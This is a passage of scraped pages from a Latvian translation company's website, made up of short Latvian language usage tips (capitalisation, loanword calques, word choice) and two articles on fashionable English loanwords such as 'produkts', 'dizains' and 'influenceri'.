sakārtota. ” Tātad mūsdienās šāds prievārda „no” lietojums vairs netiek uzskatīts par nevēlamu un ir kļuvis par valodas normu. Tātad abi varianti ir pareizi. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Raugāmies Rietumu virzienā vai rietumu virzienā? Šis un daudzi citi noderīgi latviešu valodas padomi vienuviet. Ieskaties! - Published: 2020-05-25 - Modified: 2024-08-06 - URL: https://skrivanek.lv/rietumi/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional RIETUMI 1 kā ir pareizi – „rietumi” vai „Rietumi”? Raugāmies Rietumu virzienā. Raugāmies rietumu virzienā. Vārdu „Rietumi” ar lielo sākumburtu raksta, apzīmējot Eiropas valstis un ASV, piemēram, Rietumu kultūra, Rietumu civilizācija. Savukārt vārdu „rietumi” ar mazo sākumburtu lieto, lai nosauktu vienu no četrām debespusēm – apvāršņa daļu, kur riet saule, kā arī teritoriju, kas atrodas šajā debespusē vai virzienā, piemēram, mājas rietumu puse, rietumu vējš. Tātad abi varianti ir pareizi, taču katram teikumam ir atšķirīga nozīme. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Neapmeklēsim lielveikalus pīķa stundās vai maksimumstundās? Šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - Published: 2020-05-25 - Modified: 2024-09-11 - URL: https://skrivanek.lv/pika-stunda-pret-maksimumstunda/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional PĪĶA STUNDA PRET MAKSIMUMSTUNDA 1 Lielveikalus neapmeklēsim pīķa stundās vai maksimumstundās? Šobrīd cilvēkus mudina neiepirkties lielveikalos pēc darba dienas beigām, šo laiku dēvējot par „pīķa stundu”. Kā norāda Latviešu valodas aģentūra, „vārdu salikums „pīķa stunda” ir tiešs pārcēlums jeb kalks no krievu valodas, „часы пик” (časi pik), kas nozīmē kādu īpašu aktivitāti, darbības kāpinājumu (virsotni), arī spriedzes laiku u. tml. Šī konstrukcija literārā latviešu valodā nebūtu vēlama. Tamlīdzīgi neveikli piemēri ir „pa lielam”, „uz doto brīdi”, „kā reiz”, „neko sev” u. c. ” Šajā gadījumā teicienu „pīķa stunda” var aizstāt ar vārdu „maksimumstunda”, kas iekļauts arī „Mūsdienu latviešu valodas vārdnīcā” ar nozīmi „laiks, kad (kas) norisinās, darbojas ar vislielāko intensitāti”. Tātad neapmeklēsim lielveikalus maksimumstundās. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai sacīsim kondicionieris vai kondicionētājs? Ieskaties un uzzini pareizo atbildi! Daudzi citi noderīgi latviešu valodas padomi vienuviet. - Published: 2020-05-25 - Modified: 2025-03-12 - URL: https://skrivanek.lv/kondicionieris-pret-kondicionetajs/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional KONDICIONIERIS PRET KONDICIONĒTĀJS 1 Vai sacīsim kondicionieris vai kondicionētājs? Lai gan sākotnēji, lai apzīmētu agregātu iekštelpu mākslīgā klimata (temperatūras, mitruma) nodrošināšanai, kā latviskāks vairāk tika atbalstīts vārds „kondicionētājs”, mūsdienu valodā abus lietvārdus vairs nešķir, un viena vai otra vārda lietojumā ierobežojumu nav. „Mūsdienu latviešu valodas vārdnīcā” vārdiem „kondicionētājs” un „kondicionieris” norādīta arī otra nozīme – „matu kopšanas līdzeklis, ko parasti lieto pēc matu mazgāšanas; matu balzams”. Tātad pareizi ir abi varianti, turklāt tiem ir divas nozīmes – gaisa kondicionētājs (kondicionieris) un matu kondicionētājs (kondicionieris). Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Kā pareizi saukt šobrīd pasaulē uzliesmojušo vīrusu – koronovīruss, koronavīruss vai koronvīruss? Daudzi noderīgi latviešu valodas padomi! - Published: 2020-05-25 - Modified: 2025-03-12 - URL: https://skrivanek.lv/koronoviruss-pret-koronaviruss-pret-koronviruss/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional KORONOVĪRUSS PRET KORONAVĪRUSS PRET KORONVĪRUSS 1 Kā pareizi saukt šobrīd pasaulē uzliesmojušo vīrusu – koronovīruss, koronavīruss vai koronvīruss? Cilvēku prātus pēdējā laikā satraukusi jauna slimība ar strauju izplatību, kam nu dots nosaukums Covid-19. Slimību izraisījušais vīruss pieder lielai vīrusu saimei, kas izplatīts daudzām dažādām dzīvnieku sugām un retos gadījumos var inficēt arī cilvēkus, izplatoties to vidū un attiecīgi izraisot dažāda smaguma pakāpes slimības. Valsts valodas centra terminu datubāzē šī vīrusa nosaukums tulkots kā “koronavīruss”. Nosaukuma izcelsme saistīta ar latīņu vārdu “corona”, kas nozīmē “vainags”. Iemesls ir šim vīrusam raksturīgais veidols – mikroskopiskā palielinājumā tam ir vainagveida forma. Tātad šobrīd pasaulē uzliesmojušais vīruss ir koronavīruss. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai ģimene remigrē vai reemigrē uz Latviju? Ieskaties un uzzini atbildi! Šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - Published: 2020-05-25 - Modified: 2025-01-16 - URL: https://skrivanek.lv/remigret-pret-reemigret/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional REMIGRĒT PRET REEMIGRĒT 1 Vai ģimene remigrē vai reemigrē uz Latviju? Jau vairākus gadus nozares speciālisti vēlas panākt to, ka sabiedrībā tiek šķirta jēdzienu „reemigrācija” un „remigrācija” nozīme. Vārdnīcās pagaidām ir minēts vienīgi termins „reemigrācija”, un ar to tiek apzīmēta izceļotāju (emigrantu) atgriešanās dzimtenē vai agrākās dzīvesvietās uz palikšanu. Tomēr speciālisti pastāv uz to, ka šāds lietojums ir kļūdains. Attiecīgi – reemigrē tie migranti, kas pēc atgriešanās Latvijā dodas atpakaļ uz ārzemēm. Savukārt „remigrēt” nozīmē pēc ilgas prombūtnes ārzemēs atgriezties uz dzīvi dzimtenē. Pagaidām valodā abu šo vārdu nozīmes gan oficiāli netiek šķirtas, tāpēc juceklis arvien vēl turpinās. Piemēram, 2018. gada 1. novembrī pieņemts un 2019. gada 1. janvārī stājies spēkā Diasporas likums, kurā lietots termins remigrācija. Taču vienlaikus terminu reemigrācija pagaidām neviens nav atcēlis. Tomēr, kā norāda Latviešu valodas aģentūra, terminologi iesaka nemainīt valodā jau stabili nostiprinājušos un vārdnīcās fiksētu terminu/vārdu un tā nozīmi. Tātad pareizi ir sacīt, ka ģimene reemigrē uz Latviju. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu mācības AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai ezers ir ūdenstilpe vai ūdenstilpne? Ieskaties un uzzini atbildi! Šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - Published: 2020-05-25 - Modified: 2025-07-22 - URL: https://skrivanek.lv/udenstilpe-pret-udenstilpne/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional ŪDENSTILPE PRET ŪDENSTILPNE 1 Vai ezers ir ūdenstilpe vai ūdenstilpne? Latviešu valodas vārdnīcā skaidrots, ka ūdenstilpe ir dabiski veidojies vai mākslīgi izveidots zemes virsmas pazeminājums, kur uzkrājas ūdens. Ūdenstilpe, piemēram, ir jūra, upe, dīķis, kanāls. Pasaules lielākā ūdenstilpe ir Klusais okeāns. Savukārt jēdzienu „tilpne” jeb tvertne izmanto, lai apzīmētu konstrukciju kaut kā uzkrāšanai, pārvadāšanai vai glabāšanai. Tātad ezers ir ūdenstilpe. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Kādu vārdu lietosim, lai apzīmētu Dienvidamerikā mītošo, plēsīgo saldūdens zivi – piranja, piraija, piraja vai piraņa? Uzzini atbildi! - Published: 2020-05-25 - Modified: 2024-07-12 - URL: https://skrivanek.lv/piranja-pret-piraija-pret-piraja-pret-pirana/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional PIRANJA PRET PIRAIJA PRET PIRAJA PRET PIRAŅA 1 Kādu vārdu lietosim, lai apzīmētu Dienvidamerikā mītošo, plēsīgo saldūdens zivi – piranja, piraija, piraja vai piraņa? Lai arī sarunvalodā pastāv daudz šīs plēsoņas latviskā nosaukuma paralēlformas, vienīgais pareizais vārds, kādā latviešu valodā dēvēt zivi ar spēcīgajiem žokļiem, asajiem zobiem un līdz pat 60 centimetriem garo ķermeni, ir „piraija”. Šis vārds cēlies no portugāļu valodas vārda „piranha”. Tātad plēsīgā saldūdens zivs ir piraija. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai pikanto, aso dienvidzemju garšvielu sauksim par Kajennas, Kajenas, Kajēnas vai Kaijēnas pipariem? Ieskaties un uzzini atbildi! - Published: 2020-05-25 - Modified: 2024-07-16 - URL: https://skrivanek.lv/kajennas-pret-kajenas-pret-kajenas-pret-kaijenas-pipari/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional KAJENNAS PRET KAJENAS PRET KAJĒNAS PRET KAIJĒNAS PIPARI 1 Vai pikanto, aso dienvidzemju garšvielu sauksim par Kajennas, Kajenas, Kajēnas vai Kaijēnas pipariem? Saldi smaržojošie, bet ugunīgi asie pipari savu nosaukumu ieguvuši, pateicoties to dzimtenei – pilsētai Franču Gviānā, kas atrodas Atlantijas okeāna piekrastē, Dienvidamerikas austrumos. Pilsētas oriģinālais nosaukums „Cayenne” latviešu valodā tulkots kā Kajenna. Tādēļ arī pareizais asās garšvielas nosaukums latviešu valodā ir Kajennas pipari. Kajennas pipari ir zema, daudzgadīga krūma auglīši, kas ir tuvi radinieki paprikai, čili un citiem pipariem. Kajennas piparu pākstis vispirms izkaltē un pēc tam samaļ pulverī. Šo piparu krāsa ir no spilgti oranžas līdz tumši sarkanai. Gadsimtiem ilgi dažādu tautu kultūrās Kajennas pipari izmantoti ne tikai kulinārijā, bet arī kā dziedniecisks augs. Tātad pikantās, asās dienvidzemju garšvielas nosaukums ir Kajennas pipari. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Kā pareizi saukt atsevišķu vienību uzņēmumā vai iestādē – nodaļa, daļa vai departaments? Uzzini atbildi! Vairāki latviešu valodas padomi vienuviet! - Published: 2020-05-25 - Modified: 2022-12-27 - URL: https://skrivanek.lv/personala-nodala-pret-personala-dala-pret-personala-departaments/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional PERSONĀLA NODAĻA PRET PERSONĀLA DAĻA PRET PERSONĀLA DEPARTAMENTS 1 Kā pareizi saukt atsevišķu vienību uzņēmumā vai iestādē – nodaļa, daļa vai departaments? Mūsdienu latviešu valodas vārdnīcā šo trīs jēdzienu skaidrojums ir ārkārtīgi līdzīgs. Par daļu sauc atsevišķu vienību kādā kopumā, sistēmā, iestādē. Nodaļa ir iestāde, kas ir (kā) sastāvdaļa, atsevišķa vienība; arī kādas iestādes vai uzņēmuma daļa. Savukārt no franču valodas vārda département aizgūtais termins departaments lietojams, lai apzīmētu organizācijas vai iestādes nodaļu. Latviešu valodas aģentūra norāda, ka no valodas viedokļa visi trīs apzīmējumi ir vienlīdz labi lietojami, taču, iespējams, šo vienību nosaukšanā var būt kādas iekšējas uzņēmuma, juridiskas u. tml. tradīcijas. Tātad atsevišķu vienību uzņēmumā vai iestādē var dēvēt gan par nodaļu, gan daļu, gan departamentu. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Pēdējos gados valodas sargus satraukusi angļu valodas arvien ņiprākā spraukšanās mūsu ikdienā. Tiek lēsts, ka 90 procentu no aizguvumiem ir tieši angļu valodas ietekmes rezultāts, ko veicina šīs valodas internacionālā nozīme un, protams, arī straujā tehnoloģiju ienākšana mūsu dzīvēs. - Published: 2020-04-22 - Modified: 2024-10-21 - URL: https://skrivanek.lv/kulturas-produkts-un-dizaina-domasana/ - Kategorijas: Raksti - Translation Priorities: Optional KULTŪRAS PRODUKTS UN DIZAINA DOMĀŠANA? Pēdējos gados valodas sargus satraukusi angļu valodas arvien ņiprākā spraukšanās mūsu ikdienā. Tiek lēsts, ka 90 procentu no aizguvumiem ir tieši angļu valodas ietekmes rezultāts, ko veicina šīs valodas internacionālā nozīme un, protams, arī straujā tehnoloģiju ienākšana mūsu dzīvēs. Turklāt runa nav tikai par slengu vai sarunvalodu. Tā saucamie modes vārdi, kas izstumj tradicionāli latviešu valodā lietotos, labprāt ieviešas itin visās nozarēs. Piemēram, jau krietnu laiciņu būsim manījuši, ka par „produktiem” tiek dēvētas ne tikai ēdamas lietas. Kultūras produkts, tūrisma produkts, kosmētikas produkts – diezin vai visus šos produktus varēsim likt uz maizes. Un tiesa – lai arī līdz šim termins „produkts” lietots galvenokārt pārtikas nozarē, tā plašo lietojumu pieļauj vārda daudznozīmība. „Svešvārdu vārdnīcā” minētas četras „produkta” nozīmes: „1. priekšmets, viela, enerģija, informācija utt. , ko iegūst fiziska un/vai garīga darba rezultātā; 2. viela, vielu savienojums, kas veidojas dabā; 3. uzturlīdzeklis; izstrādājums, kas gatavs ēšanai vai no kā gatavo ēdienu; 4. ķīm. viela, savienojums, ko iegūst no citām vielām, savienojumiem. ” Jāsaka gan, ka valodnieki par šī vārda lietojumu tik plašā nozīmē gluži sajūsmināti nav. Vēl viens modes vārds, kas jau vairākus gadus braši iekaro vietu mūsu valodā, aizstājot tādus vārdus kā „plāns”, „noformējums”, „iecere”, ir jēdziens, kas Latvijā ienāca pagājušā gadsimta 60. gados – vārds „dizains”. Sākotnēji šis termins izmantots, lai apzīmētu ārējo veidolu, vides vai objekta māksliniecisko projektēšanu un konstruēšanu. Taču mūsdienās tā nozīme sniedzas krietni tālāk par arhitektūru, modi vai citu šauru, radošu jomu. Ar to, piemēram, saistīta vesela domāšanas koncepcija, ko taisni tā arī dēvē – par dizaina domāšanu (design thinking). Šī koncepcija nebūt neparedz, ka mums būtu jādomā vizuāli skaistas un glīti konstruētas domas. Tieši otrādi – jo dullākas idejas, jo labāk. Dizaina domāšana būtībā ir nekas cits kā prāta vētra – traku ideju ģenerēšana, lai radošā veidā risinātu dažādas problēmas, cenšoties uzlabot cilvēku dzīves. Tādējādi jēdziens „dizains” mūsdienās ir ieguvis visai sarežģītu, niansētu nozīmi, ar to saprotot arī attiecību veidošanas modeļus un sistemātiskus darba procesus. Šie un vēl daudzi citi termini mūsu valodā no aprites izstumj iepriekš izmantotos vārdus, kā sūkļi uzsūcot to atšķirīgās nozīmes. Jāatzīst, šādi saturiski ietilpīgi vārdi gan ātri vien kļūst klišejiski, neizteiksmīgi un tukši. Tāpat kā mainās apģērbu un interjera mode, arī modes vārdu mūžs lielākoties nav ilgs. Vai no modes izies arī pašlaik aktuālie „produkti”, „dizains”, „projekts”, „formāts” un citi nozīmes ziņā izplūduši vārdi? Vai arī šo vārdu plašās nozīmes tomēr ir pārāk ērtas valodas lietotājiem, jo izpaliek „lieka” gudrošana? To rādīs laiks, taču atliek vien cerēt, ka valoda līdz ar šādu plaši lietotu svešvārdu ienākšanu netiks pārlieku noplicināta. --- > Kā atveidojams latviešu valodā termins "influenceri" – cilvēki, kas sociālo tīklu platformās izplata un reklamē produktus? Lasi šajā rakstā! - Published: 2020-04-22 - Modified: 2022-09-06 - URL: https://skrivanek.lv/kas-tie-tadi-iedvesmisi-domvezi-ietekmetaji/ - Kategorijas: Raksti - Translation Priorities: Optional KAS TIE TĀDI – IEDVESMĪŠI, DOMVEŽI, IETEKMĒTĀJI? Nesen sabiedrībā izraisījās spraiga diskusija par to, kā būtu vērtējama digitālajā vidē aktīvo un populāro cilvēku 